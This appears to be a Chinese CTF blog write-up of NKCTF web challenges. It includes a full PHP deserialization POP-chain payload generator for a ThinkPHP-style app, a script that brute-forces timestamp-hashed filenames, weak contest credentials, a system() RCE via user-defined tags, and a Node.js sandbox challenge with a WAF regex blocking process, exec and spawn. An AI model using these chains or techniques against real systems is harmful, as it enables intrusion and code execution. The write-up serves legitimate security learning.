Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

用过都说熟悉

这道题一打开进去是一个登录界面,比赛的时候稍微尝试了一下弱密码,发现不行就先放弃了,赛后发现是一道反序列化的题目,才开始认真审计代码,这道题差不多复现出来了,所以就稍微记录一下。

191

进去是一个非常明显的登录页面,题目给出了附件,因为知道是一道反序列化,直接先搜索一下unserialize(藏得很深,比赛的时候不知道反序列化,感觉需要点耐心)

1
2
3
4
5
6
7
8
if($data['name']==='guest'){
unserialize(base64_decode($data['password']));
}
if ($data['salt']) {
$key = substr($data['password'], 0, 5) . "2&$%@(*@(djfhj1923";
$data['password'] = Mcrypt::decode(substr($data['password'], 5), $key);
}
$user = $this->userInfo($data['name'],$data['password']);

发现用户名为guest,而密码则存在可以利用的反序列化,而反序列化的入口无非就两个点,__destruct__wakeup,这里直接通过搜索这两个关键词进行查找,查找后可以发现__wakeup并不存在利用点,唯一可以利用构造链子的在 Windows.php 下

192

这里就对removeFiles()进行跟踪,$filename被当作字符串进行拼接,可以触发__toString方法,

193

虽然__toString方法也存在两个,但简单看了一下,这有Collection.php下方法可以被利用

194

继续对toJson()进行跟踪

195

跟踪到toArray()

196

这里可以看到items调用了一个不可访问的属性,可以触发__get

197

这里的Loginsumbit方法无法被继续被跟踪,也就是说调用了一个不可访问的函数,即可以触发__call方法,可以查找到的__call有很多,但具体看了一眼,可以发现能被利用的大致只有两个

Testone.php文件下的

199

和Config.php文件下的

200

两个都是进行了文件包含,一个是可以自定义文件包含内容,一个是包含了hint内容,这里因为是赛后复现,我就不查看hint了,到这里其实链子就已经基本完成了,而要知道我们需要包含的文件内容,我们尝试进行登录(稍微简单说一下,这里构造链子后,仔细观察代码可以发现是文件名是以时间戳的md5加密进行命名,这里我就直接搬用一下大佬的脚本,提示是一个情书,对密码进行提示,嗯….,但因为附件里存在数据库文件,可以直接对password进行查看)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import hashlib
import time
import requests

t = 1711177055
url = "http://5f9e4285-0d6a-41e4-8727-bb3d953aebd4.node.nkctf.yuzhian.com.cn/app/controller/user/think/"
# 遍历列表中的每个数字
while True:
t = t + 1
number_str = str(t).encode('utf-8')
hash_object = hashlib.md5(number_str)
md5_hash = hash_object.hexdigest()


res = requests.get(url=url+md5_hash)
time.sleep(1)
print(f"{md5_hash} : f{len(res.text)}")
print(res.text)

201

登录后对网站进行简单浏览,可以发现桌面回收站里存在一个html文件,里面存在一个一句话木马202

这里我们就对poc链重新进行修改,引用一句话木马的地址,进行命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

namespace think;
class Collection {
public $items;
}
namespace think\process\pipes;

use PHPEMS\item_weixin;
use think\Collection;
use think\Process;

class Windows {
public $files;
}

namespace think;

class View
{
public $data;
public $engine;
}

namespace think;
class Config{
}
use think\process\pipes\Windows;
$A = new \think\process\pipes\Windows();
$A -> files = array(new \think\Collection());
$A -> files[0]-> items = new \think\View();
$A -> files[0]-> items->data= array("Loginout"=>new \think\Config());
$A -> files[0]-> items->engine = array("name"=>"../../../../../../../../../var/www/html/data/files/shell");
echo base64_encode(serialize($A));

这里返回登录页面,尝试反序列化,发现无回现,这里就尝试使用反弹shell,就可以获得flag(这里因为后面靶场关了,我这里也就没有尝试),这里总的来说,没有特别难的地方,就是需要代码审计和耐心,同时因为第一次在比赛里做到反序列化,对链子的正向构造还是有点不熟练,还需要多加练习。

my first cms

这题进去也是一个框架,可以看到里面有提示,根据提示找到登录页面,这里登录需要弱口令爆破(……嗯,我用字典爆破了半天,最后还是学长试出来的….这个字典要更新了)

1
admin:Admin123

进去后,简单查阅后可以发现,在Extensions > User Defined Tags可以进行rce,执行system(‘cat //_fffff1@g’)即可得到flag

attack_tacooooo

嗯 ,这题进去也是一个弱口令,题目提示了 tacooooo@qq.com为账号,嗯,我又成功的没试出密码……又是学长的提醒,

1
tacooooo@qq.com:tacooooo

进去后可以看到仍然是一个架构题,百度一下可以得到明确的漏洞,这里贴一下原文章

https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/

嗯…..文章里的有些看不懂…..这里就先放着,以后在过来看….

全世界最简单的CTF

Nodejs沙箱逃逸

嗯…..这道题确实不会,只能找到一个原码,访问/secret就可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
const express = require('express'); 
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app.use(bodyParser.json()).set('views', path.join(__dirname, 'views')).use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){ res.sendFile(__dirname + '/public/home.html'); })

function waf(code)
{
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;

if(code.match(pattern))
{
throw new Error("what can I say? hacker out!!");
}
}
app.post('/', function (req, res)
{
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);

console.log(result);
}
catch (e){
console.log(e.message); require('./hack'); }
})

app.get('/secret', function (req, res)
{
if(process.__filename == null)
{
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content); }
else
{
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content); } })

app.listen(3000, ()=>{ console.log("listen on 3000"); })

这里就先放着,以后学js了再回来看一眼

评论